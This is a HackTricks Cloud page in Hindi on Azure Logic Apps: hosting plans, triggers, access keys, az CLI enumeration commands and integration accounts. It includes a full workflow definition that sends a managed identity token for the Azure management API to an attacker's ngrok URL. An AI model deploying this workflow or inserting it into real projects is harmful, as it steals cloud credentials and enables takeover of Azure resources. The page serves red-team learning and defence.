Az - Logic Apps
Reading time: 17 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Basic Information
Azure Logic Apps डेवलपर्स को विभिन्न सेवाओं, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने की अनुमति देता है। ये वर्कफ़्लो व्यापार प्रक्रियाओं को स्वचालित करने, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं।
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जो पूर्व-निर्मित कनेक्टर्स की एक विस्तृत श्रृंखला के साथ वर्कफ़्लो बनाने की अनुमति देता है, जिससे विभिन्न सेवाओं से कनेक्ट करना और बातचीत करना आसान हो जाता है:
.png)
Hosting options
कुछ होस्टिंग विकल्प हैं:
- Consumption
- Multi-tenant: यह साझा कंप्यूट संसाधन प्रदान करता है, सार्वजनिक क्लाउड में कार्य करता है, और प्रति-ऑपरेशन मूल्य निर्धारण मॉडल का पालन करता है। यह हल्के और लागत-कुशल कार्यभार के लिए आदर्श है। इसे हम "Single Workflow" कहेंगे।
- Standard
- Workflow Service Plan: यह नेटवर्किंग के लिए VNET एकीकरण के साथ समर्पित कंप्यूट संसाधन प्रदान करता है और प्रति वर्कफ़्लो सेवा योजना उदाहरण के लिए चार्ज करता है। यह अधिक मांग वाले कार्यभार के लिए उपयुक्त है जो अधिक नियंत्रण की आवश्यकता होती है।
- App Service Environment V3: यह पूर्ण अलगाव और स्केलेबिलिटी के साथ समर्पित कंप्यूट संसाधन प्रदान करता है। यह नेटवर्किंग के लिए VNET के साथ भी एकीकृत होता है और वातावरण के भीतर App Service उदाहरणों के आधार पर मूल्य निर्धारण मॉडल का उपयोग करता है।
- Hybrid: यह स्थानीय प्रसंस्करण और मल्टी-क्लाउड समर्थन के लिए डिज़ाइन किया गया है। यह स्थानीय नेटवर्क एक्सेस के साथ ग्राहक-प्रबंधित कंप्यूट संसाधनों की अनुमति देता है और Kubernetes Event-Driven Autoscaling (KEDA) का उपयोग करता है। यह एक Container App Connected Environment पर निर्भर करता है।
"Single" Workflows / Consumption Plan
एक workflow स्वचालित चरणों या कार्यों का एक संरचित अनुक्रम है जो एक विशिष्ट प्रक्रिया या उद्देश्य को निष्पादित करता है। यह परिभाषित करता है कि विभिन्न क्रियाएँ, स्थितियाँ, और निर्णय कैसे बातचीत करते हैं ताकि एक इच्छित परिणाम प्राप्त किया जा सके, संचालन को सरल बनाते हुए और मैनुअल प्रयास को कम करते हुए।
tip
Consumption योजना Logic App की आवश्यकता के बिना एकल वर्कफ़्लो बनाने की अनुमति देती है।
Triggers & Actions
वर्कफ़्लो ट्रिगर्स यह संकेत करते हैं कि वर्कफ़्लो कब शुरू होना चाहिए। ट्रिगर्स एक HTTP एंडपॉइंट, एक शेड्यूल, या Azure या यहां तक कि बाहरी ऐप्स से विभिन्न घटनाएँ हो सकती हैं।
प्रत्येक वर्कफ़्लो में विभिन्न क्रियाएँ होती हैं। ये क्रियाएँ वे चरण हैं जिनका वर्कफ़्लो पालन करता है। क्रिया के आधार पर विभिन्न पैरामीटर उपलब्ध होंगे, जैसे:
- Connection name: वह कनेक्शन जिसका उपयोग क्रिया बातचीत करेगी।
- Authentication Type: विभिन्न विकल्प हैं Access Key, Microsoft Entra ID, Integrated Service principal authentication और Logic Apps Managed Identity।
- एक Read-Only दृष्टिकोण से, Authentication डेटा हमेशा दिलचस्प होता है क्योंकि इसमें संवेदनशील जानकारी हो सकती है।
- Write दृष्टिकोण से, Authentication डेटा हमेशा दिलचस्प होता है क्योंकि यह असाइन किए गए प्रबंधित पहचान के अनुमतियों का उपयोग करने की अनुमति दे सकता है।
- ...
क्रियाओं में विभिन्न सेटिंग्स भी होती हैं, जो क्रिया पर निर्भर करती हैं। कुछ सामान्य सेटिंग्स हैं:
- Retry Policy: पुनः प्रयासों की संख्या और उनके बीच के अंतराल को कॉन्फ़िगर करता है।
- Timeout: अधिकतम समय सेट करता है जिसमें क्रिया चल सकती है इससे पहले कि यह टाइमआउट हो जाए।
- Run After: उन शर्तों को निर्दिष्ट करता है जिन्हें क्रिया चलने से पहले पूरा किया जाना चाहिए।
- Schema Validation: सुनिश्चित करता है कि आने वाला डेटा पूर्व-निर्धारित संरचना का पालन करता है।
- Networking: विभिन्न हेडर प्रबंधित करने के तरीके को कॉन्फ़िगर करता है।
- Secure Inputs/Outputs: यह रन इतिहास से इनपुट/आउटपुट डेटा को छिपा देगा।
- ...
Authorization Policies
ये वर्कफ़्लो authorization policies का समर्थन करते हैं Entra ID के साथ अनुरोध-आधारित ट्रिगर्स को सुरक्षित करने के लिए एक मान्य एक्सेस टोकन की आवश्यकता होती है। इस टोकन में विशिष्ट दावे शामिल होने चाहिए:
- Issuer (iss) पहचान प्रदाता की पहचान की पुष्टि करने के लिए
- Audience (aud) यह सुनिश्चित करने के लिए कि टोकन Logic App के लिए अभिप्रेत है
- Subject (sub) कॉलर की पहचान करने के लिए
- JWT ID (JSON Web Token पहचानकर्ता)
- Custom Claim
जब एक अनुरोध प्राप्त होता है, Logic Apps इन दावों के खिलाफ टोकन को मान्य करता है और केवल तभी निष्पादन की अनुमति देता है जब वे कॉन्फ़िगर की गई नीति से मेल खाते हैं। इसका उपयोग किसी अन्य टेनेट को वर्कफ़्लो को ट्रिगर करने की अनुमति देने या अन्य स्रोतों से ट्रिगर को अस्वीकार करने के लिए किया जा सकता है, उदाहरण के लिए केवल ट्रिगर की अनुमति देना यदि यह https://login.microsoftonline.com/ से आता है।
Access Keys
वर्कफ़्लो 2 एक्सेस कीज़ उत्पन्न करते हैं जब वे बनाए जाते हैं। इन कुंजियों का उपयोग वर्कफ़्लो के लिए अनुरोधों को प्रमाणित और अधिकृत करने के लिए किया जाता है। कुंजियाँ एक Shared Access Signature (SAS) टोकन उत्पन्न करने के लिए उपयोग की जाती हैं, जो अनुरोध URL में शामिल होती है।
इसलिए, जब एक HTTP एंडपॉइंट ट्रिगर बनाया जाता है, तो एक विशिष्ट HTTP एंडपॉइंट जिसमें SAS हस्ताक्षर होता है जो वर्कफ़्लो को कॉल करने की अनुमति देता है, उत्पन्न होता है।
ये कुंजियाँ फिर से उत्पन्न की जा सकती हैं और इन ट्रिगर्स के लिए एक नया SAS URL बनाया जाएगा, लेकिन कुंजियों के मानों तक पहुँच नहीं की जा सकती।
ट्रिगर को सक्रिय करने के लिए SAS URL का उदाहरण:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
Workflow Settings & Components
- Trigger access option: यह सेटिंग आपको यह सीमित करने देती है कि कौन आपके वर्कफ़्लो को ट्रिगर या शुरू कर सकता है। विकल्प हैं Any IP, Only other workflow और Specific IP ranges।
- Integration account: अपने वर्कफ़्लो को एक Integration Account से लिंक करें।
- High throughput: यदि चालू है, तो यह तेजी से अधिक अनुरोधों को समानांतर में संभालने की अनुमति देता है।
- Run history retention: यह उन दिनों की संख्या को दर्शाता है जिन्हें रन इतिहास को बनाए रखना है।
- API connections: यह दिखाता है कि वर्कफ़्लो के पास विभिन्न API कनेक्शन हैं। इन कनेक्शनों के अंदर उनके पास विभिन्न गुण होते हैं और API कनेक्शन को संपादित करने की संभावना होती है जहाँ Authentication type को बदला जा सकता है।
- History: इसमें पुराने निष्पादन का history देखने और डेटा प्राप्त करने का विकल्प है: Settings, Output, Parameters और Code।
- Versions: इसमें वर्कफ़्लो के विभिन्न versions तक पहुँचने का विकल्प है, जहाँ आप कोड की जांच कर सकते हैं और वर्तमान वर्कफ़्लो को इसके पुराने संस्करण के साथ बदल सकते हैं।
- Managed Identities: वर्कफ़्लो को 1 सिस्टम प्रबंधित पहचान और सर्वर उपयोगकर्ता प्रबंधित पहचान सौंपना संभव है।
Leak MI access tokens
एक वर्कफ़्लो में HTTP क्रिया का उपयोग बाहरी वेब पर डेटा भेजने के लिए किया जा सकता है। HTTP क्रिया के Advanced parameters में, Authentication Type को Managed identity
के रूप में कॉन्फ़िगर करना संभव है और फिर उपयोग करने के लिए assigned Managed Identity का चयन करना संभव है (सिस्टम या उपयोगकर्ता)।
इसके अलावा, Audience
में उत्पन्न JWT का ऑडियंस निर्दिष्ट करना संभव है, जो उदाहरण के लिए https://management.azure.com/
हो सकता है ताकि उत्पन्न टोकन का उपयोग Azure प्रबंधन API तक पहुँचने के लिए किया जा सके।
warning
हमलावर द्वारा नियंत्रित सर्वर पर HTTP अनुरोध भेजने के लिए क्रिया को बनाना संभव है कि managed identity के लिए असाइन किया गया एक्सेस टोकन leak हो जाए।
tip
एक हमलावर अन्य प्रकार की क्रियाओं का भी उपयोग कर सकता है ताकि प्रत्यक्ष रूप से अन्य Azure सेवाओं तक पहुँच प्राप्त कर सके और प्रबंधित पहचान की अनुमतियों के साथ क्रियाएँ कर सके।
यह एक वर्कफ़्लो का कोड है जो एक HTTP एंडपॉइंट को उजागर करता है और फिर कॉन्फ़िगर की गई URL (इस मामले में ngrok) पर एक्सेस टोकन को लीक करने के लिए HTTP क्रिया का उपयोग करता है:
Workflow code
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
लॉजिक ऐप्स / मानक योजना
"सिंगल" वर्कफ़्लोज़ के साथ अंतर
लॉजिक ऐप्स मूल रूप से एक ऐप सेवा का उपयोग करते हैं जो लॉजिक ऐप को होस्ट करने के लिए कई वर्कफ़्लोज़ को होस्ट कर सकता है। इसका मतलब है कि लॉजिक ऐप में ऐप सेवा और "सिंगल" वर्कफ़्लोज़ की सभी सुविधाएँ होंगी।
कुछ प्रमुख विशेषताएँ होंगी:
- ऐप सेवा योजना: मानक योजना में लॉजिक ऐप्स एक ऐप सेवा योजना पर होस्ट किए जाते हैं इसलिए ऐप सेवा की सभी सुविधाओं का उपयोग करना संभव है जैसे:
- नेटवर्क प्रतिबंध: यह इंगित करें कि इसे कहाँ से एक्सेस किया जा सकता है।
- डिप्लॉयमेंट सेंटर: Github, Bitbucket, Azure Repos, External Git और Local Git जैसे बाहरी प्लेटफार्मों से डिप्लॉय करें।
- FTP एक्सेस: लॉजिक ऐप की फ़ाइलों तक FTP के माध्यम से पहुँच प्राप्त करना संभव है।
- स्टोरेज खाता: सेवा ऐप जानकारी संग्रहीत करने के लिए एक स्टोरेज खाते का उपयोग करता है।
- एन्व वेरिएबल्स और ऐप सेटिंग्स: पर्यावरण चर और ऐप सेटिंग्स को कॉन्फ़िगर करना संभव है (और स्टोरेज खाते के लिए एक्सेस कुंजी जैसी संवेदनशील जानकारी प्राप्त करना)।
- ...
- पैरामीटर्स: पैरामीटर्स आपको विकास, परीक्षण और उत्पादन के बीच भिन्न मानों को प्रबंधित करने की अनुमति देते हैं। यह आपको पहले वर्कफ़्लोज़ डिज़ाइन करने की अनुमति देता है, फिर बाद में पर्यावरण-विशिष्ट सेटिंग्स को आसानी से समायोजित करें।
- समर्पित संसाधन: मानक योजना में लॉजिक ऐप्स के पास समर्पित संसाधन होते हैं।
- कई वर्कफ़्लोज़: यह कई वर्कफ़्लोज़ बनाने की अनुमति देता है।
ऐप सेवाओं के बारे में अधिक जानकारी के लिए देखें:
एन्यूमरेशन
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Integration Accounts
Integration Accounts, Azure Logic Apps की एक विशेषता हैं। Integration Accounts का उपयोग उन्नत B2B क्षमताओं को सक्षम करके उद्यम-स्तरीय एकीकरण को सुविधाजनक बनाने के लिए किया जाता है, जैसे EDI, AS2, और XML स्कीमा प्रबंधन। Integration Accounts Azure में एक कंटेनर हैं जो Logic Apps के लिए उपयोग किए जाने वाले निम्नलिखित कलाकृतियों को संग्रहीत करते हैं:
- Schemas: अपने एकीकरण खाते में संदेशों को मान्य और संसाधित करने के लिए XML स्कीमा प्रबंधित करें।
- Maps: अपने एकीकरण कार्यप्रवाह के भीतर डेटा प्रारूपों को परिवर्तित करने के लिए XSLT-आधारित रूपांतरण कॉन्फ़िगर करें।
- Assemblies: लॉजिक और डेटा प्रसंस्करण को सरल बनाने के लिए एकीकरण खाता असेंबली प्रबंधित करें।
- Certificates: संदेशों को एन्क्रिप्ट और साइन करने के लिए प्रमाणपत्रों को संभालें, सुरक्षित संचार सुनिश्चित करें।
- Partners: B2B लेनदेन के लिए व्यापार भागीदार की जानकारी प्रबंधित करें, निर्बाध एकीकरण सक्षम करें।
- Agreements: व्यापार भागीदारों के साथ डेटा का आदान-प्रदान करने के लिए नियम और सेटिंग्स कॉन्फ़िगर करें (जैसे, EDI, AS2)।
- Batch Configurations: संदेशों को कुशलतापूर्वक समूहित और संसाधित करने के लिए बैच प्रसंस्करण कॉन्फ़िगरेशन प्रबंधित करें।
- RosettaNet PIP: B2B संचार को मानकीकरण के लिए RosettaNet Partner Interface Processes (PIPs) कॉन्फ़िगर करें।
Enumeration
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
विशेषाधिकार वृद्धि
लॉजिक ऐप्स प्रिवेस्क के समान:
पोस्ट एक्सप्लोइटेशन
Az - Logic Apps Post Exploitation
स्थिरता
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।